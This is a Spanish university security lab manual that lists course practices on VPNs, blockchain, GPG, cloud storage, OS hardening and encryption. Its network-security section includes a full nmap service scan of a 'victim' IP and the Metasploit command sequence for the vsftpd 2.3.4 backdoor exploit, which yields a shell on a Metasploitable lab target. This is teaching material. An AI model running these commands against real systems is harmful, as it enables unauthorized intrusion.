MANUAL DE PRÁCTICAS
LABORATORIO DE SEGURIDAD INFORMATICA

Descripción de Uso.

A continuación se muestra la lista de prácticas realizadas en el laboratorio de Seguridad Informática.

Las prácticas corresponden a cada una de las materias del Módulo de Especialidad de "Seguridad de la Información", y actualmente, se iniciará con el Módulo de "Seguridad en Infraestructura y Servicios" de la carrera en Ing. en Sistemas Computacionales.

Cada maestro titular de la materia, cuenta con acceso a los Servidores HP para llevar a cabo la práctica muestra, y después de registrar al o a los usuarios, éstos cuentan con acceso remoto para efectuar la práctica solicitada por el profesor, si así lo requieren.

El acceso de los profesores es de acuerdo al horario de la materia, que puede ser de 8:00 a 10:00 am, de 13:00 a 14:00 hrs., pero se cuenta con el acceso a los servidores desde las 8:00 am. hasta las 3:00 pm.

Para cada profesor, de acuerdo a sus necesidades, se les asigna una máquina virtual con los servicios, configuraciones, restricciones y permisos que requiera.

Al término de uso de los Servidores HP, se reinicia el sistema para dejarlo disponible para el siguiente semestre.

<table>
<tr>
<td rowspan="2">Materia: Introducción a la Seguridad Informática.</td>
<td>Práctica #1.
Objetivo: Instalar y configurar una red segura, utilizando un protocolo de cifrado, sobre una red pública.

Descripción: Implementar una VPN en un sistema de cómputo.
- Utilizando software de servidor para el sistema Linux/Unix.
- Software cliente en multiplataforma para conectarse de manera remota.</td>
</tr>
<tr>
<td>Práctica #2.
Objetivo: Diseñar, instalar, configurar e implementar el uso de blockchain en una aplicación distribuida.

Descripción: Diseñar e implementar un sistema de blockchain, con la herramienta HyperLedger Fabric, sobre una plataforma del Linux.
- Virtualización de plataformas para los nodos.
- Diseño de una aplicación para el uso de blockchain.
- Pruebas de funcionalidad.</td>
</tr>
</table>

	Práctica #3. **Objetivo:** Implementar y generar certificados digitales para un archivo de formato digital. **Descripción:** Instalar y configurar un sistema que haga factible la generación de firma y certificados digitales, sobre una plataforma del Linux. - Instalar y usar la herramienta de software libre GPG. - Generar firmas y certificados digitales. - Usar los certificados digitales para cifrar y firmar los documentos de archivos. - Realizar pruebas de funcionalidad.
Materia: Cómputo en la nube.	**Práctica #1.** **Objetivo:** Desarrollar la Infraestructura básica para el **Cloud Computing** (**CC**) (VMWare, XenServer, HiperV). **Descripción:** Instalar y configurar los sistema de virtualización, como VMWare, XenServer e HiperV. - Puede ser de manera directa sobre el hardware, o bien, sobre una plataforma con un sistema operativo como Linux.o Windows. - Ver los requisitos mínimos de hardware necesario para su instalación y funcionamiento. - Al final, realizar pruebas de funcionalidad.
	Práctica #2. **Objetivo:** Implementar el almacenamiento en el **CC** utilizando un **NAS** o **SAN** (FreeNAS) **Descripción:** Instalar, implementar y configurar un sistema de almacenamiento masivo, utilizando sistemas de software libre.

	- Instalar el **NAS** (Network Attached Storage) sobre el sistema servidor de Linux, utilizando el sistema FreeNAS. - Observar los requisitos del **SAN** (Storage Area Network) para su instalación y funcionamiento, en un ambiente de red. - Realizar pruebas de funcionalidad.
	Práctica #3. **Objetivo:** Construir un pool de servidores para alta disponibilidad. **Descripción:** Instalar, implementar y configurar un sistema de almacenamiento masivo, utilizando sistemas de software libre para poder garantizar la disponibilidad de la información almacenada. - Instalar el **NAS** (Network Attached Storage) sobre el sistema servidor de Linux, utilizando el sistema FreeNAS. - Instalar y configurar el **SAN** (Storage Area Network) para su uso un ambiente de red. - Configurar varios sitios que servirán como servidores redundantes y poder soportar la resiliencia del servicio. - Realizar pruebas de funcionalidad.
	Práctica #4. **Objetivo:** Implementar servicios del **CC** con OpenStack. **Descripción:** Instalar y configurar un sistema que permita proporcionar una infraestructura como servicio (**IaaS**), utilizando el código libre de OpenStack de Apache. - Puede orientarse el servicio de CC hacia la parte privada o hacia la parte pública. - Una tercera opción, sería tener un sevicio híbrido.

	- Realizar pruebas de funcionalidad.
	Práctica #5. **Objetivo:** Implementar procesos sobre el **CC**. **Descripción:** Instalar, configurar y tener a punto un sistema que proporcione una infraestructura como servicio (**IaaS**), utilizando el código libre de OpenStack de Apache. - Habilitar el procesamiento o uso de la plataforma, por parte de clientes. - Realizar pruebas de funcionalidad.
Materia: Seguridad en sistemas operativos.	**Práctica #1.** **Objetivo:** Aplicar actualizaciones y parches para un Kernel seguro en Linux. **Descripción:** Configurar y actualizar los servicios y aplicaciones críticos en el sistema de Linux.
	Práctica #2. **Objetivo:** Implementar métodos de protección y autorización en Linux. **Descripción:** Instalar, configurar e implementar métodos, a través de scripts o aplicaciones administrativas, que nos permitan: - La protección de los datos. - La administración y cesión de autorización a usuarios y aplicaciones. - Realizar pruebas de funcionalidad.
	Práctica #3. **Objetivo:** Realizar un monitoreo y análisis de la seguridad en Linux. **Descripción:** Instalar, configurar e implementar herramientas administrativas para el monitoreo y análisis de servicios, aplicaciones y usuarios, que permitan: - El monitoreo de servicios.

	- El seguimiento y administración de aplicaciones y usuarios. - Analizar y alertar en caso de datos anómalos o comportamiento atípicos en los servicios del servidor. - Realizar pruebas de funcionalidad.
	Práctica #4. **Objetivo:** Revisar métodos de detección de vulnerabilidades y amenazas Linux. **Descripción:** Instalar, configurar e implementar herramientas administrativas que permitan: - Detectar vulnerabilidades o mala configuración de servicios. - Detectar posibles amenazas de red.
	Práctica #5. **Objetivo:** Revisar el estado del endurecimiento en Linux. **Descripción:** Instalar, configurar e implementar herramientas administrativas que permitan: - Detectar vulnerabilidades o mala configuración de servicios. - Seguir las recomendaciones de buenas prácticas para la configuración correcta y segura de los servicios instalados.
	Práctica #6. **Objetivo:** Aplicar actualizaciones y parches para un Windows seguro. **Descripción:** Configurar y actualizar los servicios y aplicaciones críticos en el sistema de Windows.
	Práctica #7. **Objetivo:** Implementar métodos de protección y autorización en Windows. **Descripción:** Instalar, configurar e implementar métodos, a través de scripts o

<table>
<tr><td></td><td>aplicaciones administrativas, que nos permitan:
La protección de los datos.
La administración y cesión de autorización a usuarios y aplicaciones.
Realizar pruebas de funcionalidad.</td></tr>
<tr><td rowspan="2">Materia: Seguridad en redes.</td><td>Práctica #1.
Objetivo: Implementar servicios de red en los servidores, para ser utilizados como laboratorio para pruebas de vulnerabilidad y poder ser analizados de manera posterior.

Descripción: Descargar, configurar e instalar máquinas virtuales, para ser utilizadas como Servidores a ser atacados y probar sus fortalezas y debilidades.
Una máquina servidora puede ser Metasploitable 2, basada en Linux.
Se utilizarán como máquinas de ataque, sistemas Linux configurados como Pentesters.
Distribuciones como Kali o Parrot, serían las recomendadas.</td></tr>
<tr><td>Práctica #2.
Objetivo: Reconocer y escanear servicios y vulnerabilidades en la red.

Descripción: Descargar, configurar y utilizar herramientas que nos permitan detectar vulnerabilidades en las máquinas víctimas.
Una herramienta a utilizar es Nmap.
Con el comando siguiente, nos muestra una lista de los servicios, versión y sistema operativo del servidor.
nmap -oX nmap.xml -O -sV -p1-65535 -T4 <IP víctima>
Una vez obtenida esta información, se puede buscar en Internet, cuál puede ser el software o pasos a seguir, para vulnerar el servicio de esa plataforma y versión del servicio.</td></tr>
</table>

	Práctica #3. **Objetivo:** Vulnerar los servicios con baja seguridad para lograr acceso a los servidores. **Descripción**: Descargar, configurar y utilizar herramientas que nos permitan aprovechar las vulnerabilidades y poder tener acceso a las máquinas víctimas. Una herramienta a utilizar es **Metasploit**. Utilizándolo de la manera siguiente: - msf > search vsftpd. - msf > use exploit/unix/ftp/vsftpd_234_backdoor - msf exploit(vsftpd_234_backdoor) > show info - msf exploit(vsftpd_234_backdoor) > show options - msf exploit(vsftpd_234_backdoor) > set RHOST 198.51.100.222 - - msf exploit(vsftpd_234_backdoor) > show payloads - msf exploit(vsftpd_234_backdoor) > set PAYLOAD cmd/unix/interact - msf exploit(vsftpd_234_backdoor) > show options - - msf exploit(vsftpd_234_backdoor) > exploit - Al final, se abrirá una consola en la máquina víctima. donde ejecutar comandos.
Materia: Sistema de gestión de la seguridad informática.	**Práctica #1.** **Objetivo:** Instalar y configurar de manera adecuada los servicios básicos y esenciales en los servidores de la empresa o industria. **Descripción:** Descargar, configurar e instalar los servicios indispensables para una empresa, como pueden ser: - Servidor Web. - Servidor Email. - Servidor DNS. - Servidor DHCP.

<table>
<tr><td rowspan="2"></td><td>Práctica #2.
Objetivo: Implementar y planificar pruebas de penetración a los servicios y aplicaciones de red en los servidores.

Descripción: Descargar, configurar e instalar aplicaciones administrativas para realizar pruebas y detectar vulnerabilidades a los servidores y servicios que se tienen en la empresa.
Las pruebas se realizarán al sistema operativo en el host servidor.
A los servicios y aplicaciones instalados.
A los passwords de los usuarios.
Estas pruebas se deberán de realizar cada determinado periodo de tiempo específico.</td></tr>
<tr><td>Práctica #3.
Objetivo: Monitorear y registrar el funcionamiento de los servicios de los servidores de la red.

Descripción: Descargar, configurar e instalar aplicaciones administrativas para realizar el monitoreo a los servidores y servicios que se cuentan en la empresa.
El monitoreo a los servidores, es para conocer el comportamiento y actividad normal de éstos.
El monitoreo también se realizará a los servicios, aplicaciones y usuarios de los servidores para conocer el comportamiento y actividad normal de éstos.
Toda la actividad del comportamiento observado, será almacenado en el Log o bitácora del sistema.
Esta información almacenada, es para analizarse y comprender el comportamiento de todo el sistema en intervalos específicos.</td></tr>
<tr><td>Materia: Seguridad en infraestructura.</td><td>Práctica #1.</td></tr>
</table>

	Objetivo: Implementar el cifrado de datos utilizando algoritmos de cifrado simétrico y asimétrico. **Descripción:** Conocer el cifrado clásico simétrico e implementar y conocer el cifrado asimétrico: - Desarrollarán en un lenguaje de programación el cifrado del César. - Conocerán y desarrollarán los cifrados por transposición. - Conocerán y utilizarán el cifrado asimétrico de llave pública.
	Práctica #2. **Objetivo:** Implementar la protección a los servicios y datos de los sistemas de redes contra ataques cibernéticos. **Descripción:** Conocer las recomendaciones y buenas prácticas para proteger la información y aplicaciones en los servidores: - Conocer las recomendaciones, estándares y tips sobre protección de datos. - Saber y localizar los sitios que sugieren o dan a conocer vulnerabilidades descubiertas.
	Práctica #3. **Objetivo:** Aplicar actualizaciones y recomendaciones para un SO seguro en ambientes móviles. **Descripción:** Conocer las recomendaciones y buenas prácticas para proteger la información y aplicaciones en un ambiente móvil: - Conocer las recomendaciones, estándares y tips sobre protección de datos. - Saber y localizar los sitios que sugieren o dan a conocer vulnerabilidades descubiertas.

	- Conocer sobre las vulnerabilidades de aplicaciones en móviles.
	Práctica #4. **Objetivo:** Instalar y configurar un sistema de virtualización sobre un sistema host (unix/Windows). **Descripción:** Conocer las plataformas que existen para virtualizar sistemas operativos, así como los requerimientos mínimos de hardware para un buen funcionamiento. - Conocer e instalar la plataforma VMWare. - Conocer e instalar la plataforma VirtualBox de Oracle. - Instalar máquinas virtuales sobre estas plataformas. - Lograr la comunicación entre las máquinas virtuales. - Realizar pruebas de funcionamiento.